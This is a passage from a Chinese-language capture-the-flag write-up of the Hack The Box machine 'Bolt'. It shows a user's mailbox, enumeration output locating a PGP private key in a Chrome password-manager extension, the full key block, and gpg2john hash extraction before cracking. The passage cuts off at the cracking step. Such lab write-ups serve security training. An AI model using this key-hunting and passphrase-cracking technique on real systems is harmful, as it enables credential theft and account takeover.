0.8em;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">OpenPGP是一个加密工具。</span></p></blockquote><p cid="n82" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">比之前多了一个数据库密码。尝试连接切换用户。</span></p><p cid="n83" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">其中</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">eddie</code></span><span md-inline="plain" style="box-sizing: border-box;">用户成功。</span></p><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">在邮件中发现有收到来自Clark的用户的邮件，邮件里提到密码管理系统和私钥备份。邮件如下：</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">eddie@bolt<span class="code-snippet__symbol">:/var/mail</span>$ cat eddie</span></code><code><span class="code-snippet_outer">cat eddie</span></code><code><span class="code-snippet_outer">From clark@bolt.htb  Thu Feb <span class="code-snippet__number">25</span> <span class="code-snippet__number">14</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">20</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">19</span> <span class="code-snippet__number">2021</span></span></code><code><span class="code-snippet_outer">Return-<span class="code-snippet__symbol">Path:</span> &lt;clark@bolt.htb&gt;</span></code><code><span class="code-snippet_outer">X-Original-<span class="code-snippet__symbol">To:</span> eddie@bolt.htb</span></code><code><span class="code-snippet_outer">Delivered-<span class="code-snippet__symbol">To:</span> eddie@bolt.htb</span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">Received:</span> by bolt.htb (Postfix, from userid <span class="code-snippet__number">1001</span>)</span></code><code><span class="code-snippet_outer">        id DFF264CD; Thu, <span class="code-snippet__number">25</span> Feb <span class="code-snippet__number">2021</span> <span class="code-snippet__number">14</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">20</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">19</span> -<span class="code-snippet__number">0700</span> (MST)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">Subject:</span> Important!</span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">To:</span> &lt;eddie@bolt.htb&gt;</span></code><code><span class="code-snippet_outer">X-<span class="code-snippet__symbol">Mailer:</span> mail (GNU Mailutils <span class="code-snippet__number">3.7</span>)</span></code><code><span class="code-snippet_outer">Message-<span class="code-snippet__symbol">Id:</span> &lt;<span class="code-snippet__number">20210225212019</span>.DFF264CD@bolt.htb&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">Date:</span> Thu, <span class="code-snippet__number">25</span> Feb <span class="code-snippet__number">2021</span> <span class="code-snippet__number">14</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">20</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">19</span> -<span class="code-snippet__number">0700</span> (MST)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">From:</span> Clark Griswold &lt;clark@bolt.htb&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Hey Eddie,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">The password management server is up <span class="code-snippet__keyword">and</span> running.  Go ahead <span class="code-snippet__keyword">and</span> download the extension to your browser <span class="code-snippet__keyword">and</span> get logged <span class="code-snippet__keyword">in</span>.  Be sure to back up your private key because I CANNOT recover it.  Your private key is the only way to recover your account.</span></code><code><span class="code-snippet_outer">Once you<span class="code-snippet__string">&#39;re set up you can start importing your passwords.  Please be sure to keep good security in mind - there&#39;</span>s a few things I read about <span class="code-snippet__keyword">in</span> a security whitepaper that are a little concerning...</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">-Clark</span></code></pre><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">还发现了一个CVE-2021-22555</span></p><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="236" data-backw="578" data-galleryid="" data-ratio="0.40846994535519127" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1464" src="https://wechat2rss.xlab.app/img-proxy/?k=74eae2cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYpSHcF9bkm9GtbBFsibgl9ctUokZ7LNbbH0Iv9fibsv1np771XTMRVDNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">github搜了一个不行，回头再看。</span></p><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="251" data-backw="578" data-galleryid="" data-ratio="0.43405889884763127" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="781" src="https://wechat2rss.xlab.app/img-proxy/?k=7e3d4e5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYNq0XgMmDK7xLLbg9AYCSedJJz9ZGMxVXydwX0ZCtv7g1V2hbfHapmw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n92" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">还有一个信息。</span></p><pre spellcheck="false" lang="bash" cid="n93" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">══════════╣ Do I have PGP keys?</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">/usr/bin/gpg                                                                                                                                         </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">netpgpkeys Not Found</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">netpgp Not Found  </span></pre><blockquote cid="n94" mdtype="blockquote" style="box-sizing: border-box;margin-top: 0.8em;margin-bottom: 0.8em;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><p cid="n95" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.8em;white-space: pre-wrap;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">什么是PGP？？？</span></p><p cid="n96" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;text-align: left;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;">https://gist.github.com/jhjguxin/6037564</span></p><p cid="n97" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;white-space: pre-wrap;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果不熟悉先在本地测试。</span></p></blockquote><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="250" data-backw="578" data-galleryid="" data-ratio="0.4315937940761636" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="709" src="https://wechat2rss.xlab.app/img-proxy/?k=e641533a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYp9gOZsY7RJQQxvFmuibhWYe3dicx4raTqGTUYhh7S29lMxPCA2eMeGiaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3922924901185771" data-s="300,640" style="" data-type="png" data-w="1012" src="https://wechat2rss.xlab.app/img-proxy/?k=05341041&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYDOJxfwbVo9icbGHtP0NIc44LekwpibYfoDf8wsNtJnLK8zgsjuqibe5Lw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3474320241691843" data-s="300,640" style="" data-type="png" data-w="662" src="https://wechat2rss.xlab.app/img-proxy/?k=2aa9d59f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYPs8DGZkHzhkubEibxFl8NNPic01FRtNhpNiaCcRefcZwNOfRSAPXR03Bw%2F640%3Fwx_fmt%3Dpng"/><br/></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">══╣ Possible <span class="code-snippet__keyword">private</span> SSH keys were found!</span></code><code><span class="code-snippet_outer">/etc/ImageMagick<span class="code-snippet__number">-6</span>/mime.xml</span></code><code><span class="code-snippet_outer">/home/eddie/.config/google-chrome/<span class="code-snippet__keyword">Default</span>/Extensions/didegimhafipceonhjepacocaffmoppf/<span class="code-snippet__number">3.0</span><span class="code-snippet__number">.5</span>_0/index.min.js</span></code><code><span class="code-snippet_outer">/home/eddie/.config/google-chrome/<span class="code-snippet__keyword">Default</span>/Extensions/didegimhafipceonhjepacocaffmoppf/<span class="code-snippet__number">3.0</span><span class="code-snippet__number">.5</span>_0/vendors/openpgp.js</span></code><code><span class="code-snippet_outer">/home/eddie/.config/google-chrome/<span class="code-snippet__keyword">Default</span>/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/<span class="code-snippet__number">000003.</span>log</span></code></pre><p style="text-align: left;"><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;">在文件中找到三个公钥。</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;">。</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;">。</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;">，一个私钥，私钥如下</span><br/></p><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">-----BEGIN PGP PRIVATE KEY BLOCK-----</span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Version: OpenPGP.js v4.10.9</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Comment: https://openpgpjs.org</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi</span></code><code><span class="code-snippet_outer">fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk</span></code><code><span class="code-snippet_outer">cpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU</span></code><code><span class="code-snippet_outer">RNa6PCvADh22J5vD+/RjPrmpnHcUuj+/qtJrS6PyEhY6jgxmeijYZqGkGeWU</span></code><code><span class="code-snippet_outer">+XkmuFNmq6km9pCw+MJGdq0b9yEKOig6/UhGWZCQ7RKU1jzCbFOvcD98YT9a</span></code><code><span class="code-snippet_outer">If70XnI0xNMS4iRVzd2D4zliQx9d6BqEqZDfZhYpWo3NbDqsyGGtbyJlABEB</span></code><code><span class="code-snippet_outer">AAH+CQMINK+e85VtWtjguB8IR+AfuDbIzHyKKvMfGStRhZX5cdsUfv5znicW</span></code><code><span class="code-snippet_outer">UjeGmI+w7iQ+WYFlmjFN/Qd527qOFOZkm6TgDMUVubQFWpeDvhM4F3Y+Fhua</span></code><code><span class="code-snippet_outer">jS8nQauoC87vYCRGXLoCrzvM03IpepDgeKqVV5r71gthcc2C/Rsyqd0BYXXA</span></code><code><span class="code-snippet_outer">iOe++biDBB6v/pMzg0NHUmhmiPnSNfHSbABqaY3WzBMtisuUxOzuvwEIRdac</span></code><code><span class="code-snippet_outer">2eEUhzU4cS8s1QyLnKO8ubvD2D4yVk+ZAxd2rJhhleZDiASDrIDT9/G5FDVj</span></code><code><span class="code-snippet_outer">QY3ep7tx0RTE8k5BE03NrEZi6TTZVa7MrpIDjb7TLzAKxavtZZYOJkhsXaWf</span></code><code><span class="code-snippet_outer">DRe3Gtmo/npea7d7jDG2i1bn9AJfAdU0vkWrNqfAgY/r4j+ld8o0YCP+76K/</span></code><code><span class="code-snippet_outer">7wiZ3YYOBaVNiz6L1DD0B5GlKiAGf94YYdl3rfIiclZYpGYZJ9Zbh3y4rJd2</span></code><code><span class="code-snippet_outer">AZkM+9snQT9azCX/H2kVVryOUmTP+uu+p+e51z3mxxngp7AE0zHqrahugS49</span></code><code><span class="code-snippet_outer">tgkE6vc6G3nG5o50vra3H21kSvv1kUJkGJdtaMTlgMvGC2/dET8jmuKs0eHc</span></code><code><span class="code-snippet_outer">Uct0uWs8LwgrwCFIhuHDzrs2ETEdkRLWEZTfIvs861eD7n1KYbVEiGs4n2OP</span></code><code><span class="code-snippet_outer">yF1ROfZJlwFOw4rFnmW4Qtkq+1AYTMw1SaV9zbP8hyDMOUkSrtkxAHtT2hxj</span></code><code><span class="code-snippet_outer">XTAuhA2i5jQoA4MYkasczBZp88wyQLjTHt7ZZpbXrRUlxNJ3pNMSOr7K/b3e</span></code><code><span class="code-snippet_outer">IHcUU5wuVGzUXERSBROU5dAOcR+lNT+Be+T6aCeqDxQo37k6kY6Tl1+0uvMp</span></code><code><span class="code-snippet_outer">eqO3/sM0cM8nQSN6YpuGmnYmhGAgV/Pj5t+cl2McqnWJ3EsmZTFi37Lyz1CM</span></code><code><span class="code-snippet_outer">vjdUlrpzWDDCwA8VHN1QxSKv4z2+QmXSzR5FZGRpZSBKb2huc29uIDxlZGRp</span></code><code><span class="code-snippet_outer">ZUBib2x0Lmh0Yj7CwI0EEAEIACAFAmA4G2EGCwkHCAMCBBUICgIEFgIBAAIZ</span></code><code><span class="code-snippet_outer">AQIbAwIeAQAhCRAcJ0Gj3DtKvRYhBN9Ca8ekqK9Y5Q7aDhwnQaPcO0q9+Q0H</span></code><code><span class="code-snippet_outer">/R2ThWBN8roNk7hCWO6vUH8Da1oXyR5jsHTNZAileV5wYnN+egxf1Yk9/qXF</span></code><code><span class="code-snippet_outer">nyG1k/IImCGf9qmHwHe+EvoDCgYpvMAQB9Ce1nJ1CPqcv818WqRsQRdLnyba</span></code><code><span class="code-snippet_outer">qx5j2irDWkFQhFd3Q806pVUYtL3zgwpupLdxPH/Bj2CvTIdtYD454aDxNbNt</span></code><code><span class="code-snippet_outer">zc5gVIg7esI2dnTkNnFWoFZ3+j8hzFmS6lJvJ0GN+Nrd/gAOkhU8P2KcDz74</span></code><code><span class="code-snippet_outer">7WQQR3/eQa0m6QhOQY2q/VMgfteMejlHFoZCbu0IMkqwsAINmiiAc7H1qL3F</span></code><code><span class="code-snippet_outer">U3vUZKav7ctbWDpJU/ZJ++Q/bbQxeFPPkM+tZEyAn/fHwwYEYDgbYQEIAJpY</span></code><code><span class="code-snippet_outer">HMNw6lcxAWuZPXYz7FEyVjilWObqMaAael9B/Z40fVH29l7ZsWVFHVf7obW5</span></code><code><span class="code-snippet_outer">zNJUpTZHjTQV+HP0J8vPL35IG+usXKDqOKvnzQhGXwpnEtgMDLFJc2jw0I6M</span></code><code><span class="code-snippet_outer">KeFfplknPCV6uBlznf5q6KIm7YhHbbyuKczHb8BgspBaroMkQy5LHNYXw2FP</span></code><code><span class="code-snippet_outer">rOUeNkzYjHVuzsGAKZZzo4BMTh/H9ZV1ZKm7KuaeeE2x3vtEnZXx+aSX+Bn8</span></code><code><span class="code-snippet_outer">Ko+nUJZEn9wzHhJwcsRGV94pnihqwlJsCzeDRzHlLORF7i57n7rfWkzIW8P7</span></code><code><span class="code-snippet_outer">XrU7VF0xxZP83OxIWQ0dXd5pA1fN3LRFIegbhJcAEQEAAf4JAwizGF9kkXhP</span></code><code><span class="code-snippet_outer">leD/IYg69kTvFfuw7JHkqkQF3cBf3zoSykZzrWNW6Kx2CxFowDd/a3yB4moU</span></code><code><span class="code-snippet_outer">KP9sBvplPPBrSAQmqukQoH1iGmqWhGAckSS/WpaPSEOG3K5lcpt5EneFC64f</span></code><code><span class="code-snippet_outer">a6yNKT1Z649ihWOv+vpOEftJVjOvruyblhl5QMNUPnvGADHdjZ9SRmo+su67</span></code><code><span class="code-snippet_outer">JAKMm0cf1opW9x+CMMbZpK9m3QMyXtKyEkYP5w3EDMYdM83vExb0DvbUEVFH</span></code><code><span class="code-snippet_outer">kERD10SVfII2e43HFgU+wXwYR6cDSNaNFdwbybXQ0quQuUQtUwOH7t/Kz99+</span></code><code><span class="code-snippet_outer">Ja9e91nDa3oLabiqWqKnGPg+ky0oEbTKDQZ7Uy66tugaH3H7tEUXUbizA6cT</span></code><code><span class="code-snippet_outer">Gh4htPq0vh6EJGCPtnyntBdSryYPuwuLI5WrOKT+0eUWkMA5NzJwHbJMVAlB</span></code><code><span class="code-snippet_outer">GquB8QmrJA2QST4v+/xnMLFpKWtPVifHxV4zgaUF1CAQ67OpfK/YSW+nqong</span></code><code><span class="code-snippet_outer">cVwHHy2W6hVdr1U+fXq9XsGkPwoIJiRUC5DnCg1bYJobSJUxqXvRm+3Z1wXO</span></code><code><span class="code-snippet_outer">n0LJKVoiPuZr/C0gDkek/i+p864FeN6oHNxLVLffrhr77f2aMQ4hnSsJYzuz</span></code><code><span class="code-snippet_outer">4sOO1YdK7/88KWj2QwlgDoRhj26sqD8GA/PtvN0lvInYT93YRqa2e9o7gInT</span></code><code><span class="code-snippet_outer">4JoYntujlyG2oZPLZ7tafbSEK4WRHx3YQswkZeEyLAnSP6R2Lo2jptleIV8h</span></code><code><span class="code-snippet_outer">J6V/kusDdyek7yhT1dXVkZZQSeCUUcQXO4ocMQDcj6kDLW58tV/WQKJ3duRt</span></code><code><span class="code-snippet_outer">1VrD5poP49+OynR55rXtzi7skOM+0o2tcqy3JppM3egvYvXlpzXggC5b1NvS</span></code><code><span class="code-snippet_outer">UCUqIkrGQRr7VTk/jwkbFt1zuWp5s8zEGV7aXbNI4cSKDsowGuTFb7cBCDGU</span></code><code><span class="code-snippet_outer">Nsw+14+EGQp5TrvCwHYEGAEIAAkFAmA4G2ECGwwAIQkQHCdBo9w7Sr0WIQTf</span></code><code><span class="code-snippet_outer">QmvHpKivWOUO2g4cJ0Gj3DtKvf4dB/9CGuPrOfIaQtuP25S/RLVDl8XHvzPm</span></code><code><span class="code-snippet_outer">oRdF7iu8ULcA9gTxPn8DNbtdZEnFHHOANAHnIFGgYS4vj3Dj9Q3CEZSSVvwg</span></code><code><span class="code-snippet_outer">6599FMcw9nGzypVOgqgQv8JGmIUeCipD10k8nHW7m9YBfQB04y9wJw99WNw/</span></code><code><span class="code-snippet_outer">Ic3vdhZ6NvsmLzYI21dnWD287sPj2tKAuhI0AqCEkiRwb4Z4CSGgJ5TgGML8</span></code><code><span class="code-snippet_outer">11Izrkqamzpc6mKBGi213tYH6xel3nDJv5TKm3AGwXsAhJjJw+9K0MNARKCm</span></code><code><span class="code-snippet_outer">YZFGLdtA/qMajW4/+T3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0</span></code><code><span class="code-snippet_outer">PSwYYWlAywj5</span></code><code><span class="code-snippet_outer">=cqxZ</span></code><code><span class="code-snippet_outer">-----END PGP PRIVATE KEY BLOCK-----</span></code></pre><p cid="n104" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在数据库中还有一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">pgp message</code></span><span md-inline="plain" style="box-sizing: border-box;">是需要解密的密文</span></p><p cid="n105" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">众所周知，私钥一般有密码，尝试破解私钥的密码</span></p><ul class="list-paddingleft-2" cid="n106" mdtype="list" data-mark="-" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n108" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">gpg2john</code></span></p></li></ul><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">└─<span class="code-snippet__comment"># gpg2john pri.key &gt; tmp                                                                                                                                                               1 ⨯</span></span></code><code><span class="code-snippet_outer">File pri.key</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">─<span class="code-snippet__comment"># cat tmp       </span></span></code><code><span class="code-snippet_outer">Eddie <span class="code-snippet__symbol">Johnson:</span>$gpg$*<span class="code-snippet__number">1</span>*<span class="code-snippet__number">668</span>*<span class="code-snippet__number">2048</span>*<span class="code-snippet__number">2</span>b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*<span class="code-snippet__number">3</span>*<span class="code-snippet__number">254</span>*<span class="code-snippet__number">8</span>*<span class="code-snippet__number">9</span>*<span class="code-snippet__number">16</span>*b81f0847e01fb836c8cc7c8a2af31f19*<span class="code-snippet__number">16777216</span>*<span class="code-snippet__number">34</span>af9ef3956d5ad8::<span class="code-snippet__symbol">:Eddie</span> Johnson &lt;eddie@bolt.htb&gt;<span class="code-snippet__symbol">:</span><span class="code-snippet__symbol">:pri</span>.key</span></code></pre><ul class="list-paddingleft-2" cid="n110" mdtype="list" data-mark="-" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n112" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">进行破解</span></p></li></ul><ul class="code-snippet__line-index 